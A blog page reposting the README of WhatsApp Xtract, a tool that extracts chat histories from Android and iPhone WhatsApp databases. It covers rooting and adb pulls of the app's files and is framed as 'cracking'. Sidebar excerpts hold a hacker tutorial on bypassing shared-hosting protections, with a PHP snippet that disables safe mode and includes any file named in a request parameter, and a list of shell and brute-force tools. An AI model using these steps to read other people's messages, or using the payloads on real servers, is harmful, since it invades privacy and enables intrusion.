Skip to main content

Cracking "WhatsApp Message Database"

By

Cracking Whatsapp  Message Database




WhatsApp Xtract v2.1
Download This
- WhatsApp Backup Messages Extractor for Android and iPhone


Tested with Whatsapp (Android) 2.7.5613
Tested with Whatsapp (iPhone)  2.5.1

Last Update on May 7th, 2012 (v2.1)

------------------------

HOW TO USE:
(see also the thread at xda-dev: http://forum.xda-developers.com/showthread.php?p=24603294 )

1. You need to copy the whatsapp database. 

On Android, either get this file:

/sdcard/WhatsApp/Databases/msgstore.db.crypt
(crypted database on SD card, can be created by starting backup from whatsapp advanced settings: settings - more - Backup Chats)

or these files:
/data/data/com.whatsapp/databases/msgstore.db and wa.db
(for this you need root access. detailed instructions in the bottom of this file. the advantage is that the corresponding contact names of phone numbers will be displayed.)

On IPhone, get this file:

net.whatsapp.WhatsApp/Documents/ChatStorage.sqlite
(You can use an Iphone Backup Tool to get the file, e.g. I-Twin or Iphone Backup Extractor. Make sure to create an unencrypted backup with Itunes, as these tools can't handle encrypted backups. Another possibility are forensic tools like UFED Physical Analyzer.)

2. Extract this archive (Whatsapp_Xtract....zip) to a certain folder on your computer, e.g. C:\WhatsApp.

3. Copy the database(s) to e.g. C:\WhatsApp (on Android, you simply copy the whole folder WhatsApp on SD card to your computer e.g. to C:\WhatsApp and then copy the database file from C:\WhatsApp\Databases to C:\WhatsApp)

4. You need Python and (for Android msgstore.db.crypt decryption) the PyCrypto library

The easiest way is to install ActivePython (on Windows choose 32bit version even if you have 64bit windows): 
http://www.activestate.com/activepython/

and then (for PyCrypto) run install pyCrypto.bat (contained in this archive)
(pyCrypto.bat will execute: pypm install pycrypto)

5. Now run whatsapp_xtract_android.bat or whatsapp_xtract_android_crypted.bat or whatsapp_xtract_iphone.bat 

OR simply drag and drop the database file(s) to whatsapp_xtract_drag'n'drop_database(s)_here.bat

OR run whatsapp_xtract_console.bat and then manually specify the input file with one of these commands:

COMMAND LINE OPTIONS:

For Android DB:
python whatsapp_xtract.py -i msgstore.db -w wa.db
OR (if wa.db is unavailable)
python whatsapp_xtract.py -i msgstore.db
OR (for crypted db)
python whatsapp_xtract.py -i msgstore.db.crypt

For iPhone DB: (-w option is ignored)
python whatsapp_xtract.py -i ChatStorage.sqlite

Once finished, your browser will open and show the chats. 

The resulting file size of the .html file will be slightly bigger than the size of the .db database. 

------------------------

Some Additional Information


SQLITE Editor

You also can open the "msgstore.db" and "wa.db" using SQLite Database Browser ( http://sqlitebrowser.sourceforge.net/ ). 
However it is much more confusing and the messages are ordered by date, not by conversations. Also you won't see the smileys and media files...

~

MEDIA FILES

If you want to watch the videos, audios and images, you can click on the thumbnails and media links. Popups should open displaying the media. 
However, online media files are available only for the last ~ 3 weeks. 
But you still can open the offline media files, they are linked as well. 
For this it is necessary to copy the folder "Media" from /sdcard/Whatsapp (Android) or net.whatsapp.WhatsApp (Iphone) to the certain folder of your computer where this tool is installed.

~

ROOT ACCESS TO UNENCRYPTED WHATSAPP DATABASE (Android version only)

If you want to have the contact names displayed and not only phone numbers, then (Android version only) you need the file wa.db from the internal storage. 

For that you need to get access to the folder 
/data/data/com.whatsapp/databases
For that you need root access.
For rooting, the tool Superoneclick Root might be useful:
http://forum.xda-developers.com/showthread.php?t=803682

Then you can copy the files "msgstore.db" and "wa.db" to your computer by

- using the App RootExplorer (first copy to SD, then mount phone to computer)
- or using adb: open cmd and type "adb pull /data/data/com.whatsapp/databases/msgstore.db C:\Whatsapp" (replace C:\Whatsapp by the location of the certain folder of your computer)
- or using the app Titanium Backup. Use Titanium Backup to backup the full whatsapp application together with its data, copy the backup from the folder "TitaniumBackup" on the SD card to your PC, then extract the files "wa.db" and "msgstore.db" that you will find inside the Titanium Backup archive "com.whatsapp-[Date]-[some digits].tar.gz" to the certain folder.
- or using some app like AirDroid or Webkey to access files over wifi using the PC webbrowser

Sharing Is Caring
Please share if you like it.

















Labels:




































Comments











Post a Comment



















Popular posts from this blog



















10 Best Forum Software For Webmasters












By
























  10 Best Forum Software For Webmasters     Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet.           Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...




















Post a Comment









Read more




























|Bypass Symlink on 2013 Server With Different .htaccess and Methods by Sen Haxor |












By
























     Hi, Guys,      Please a wonderfull tutorial provided bt Sem;\      Today I gonna Explain how to bypass Symlink on 2013 Server With Different .htaccess and Methods.     So let's Get Started :)     Note: This method is not applicable for Godaddy, Bluehost, Hostgator and Hostmonstor Servers.     For This First You Need the Following Files :     1 -> Sen Haxor CGI Shell     2 -> sen.zip     3 -> passwd-bypass.php     4 -> Turbo Brute force Cpanel     5 - > Port.py     First Before Starting to symlink we need to create php.ini and ini.php to Disable Safe mode and Disabled Functions on the server .     Use the Following Code :     Make a php.ini with the following code     safe_mode=Off     And ini.php with     <?     echo ini_get("safe_mode");     echo ini_get("open_basedir");     include($_GET["file"]);     ini_restore("safe_mode");     ini_restore("open_basedir");     echo ini_get("safe_mode");     echo...




















Post a Comment









Read more






























How to Hack WhatsApp using just a GIF












By
























    A picture is worth a thousand words, but a GIF is worth a thousand pictures. Today, the short looping clips, GIFs are everywhere—on your social media, on your message boards, on your chats, helping users perfectly express their emotions, making people laugh, and reliving a highlight. But what if an innocent-looking GIF greeting with Good morning, Happy Birthday, or Merry Christmas message hacks your smartphone? Well, not a theoretical idea anymore.  WhatsApp has recently patched a critical security vulnerability in its app for Android, which remained unpatched for at least 3 months after being discovered, and if exploited, could have allowed remote hackers to compromise Android devices and potentially steal files and chat messages.   WhatsApp Remote Code Execution Vulnerability  The vulnerability, tracked as  CVE-2019-11932 , is a double-free memory corruption bug that doesn't actually reside in the WhatsApp code itself, but in an open-source GIF image parsing library that What...




















Post a Comment









Read more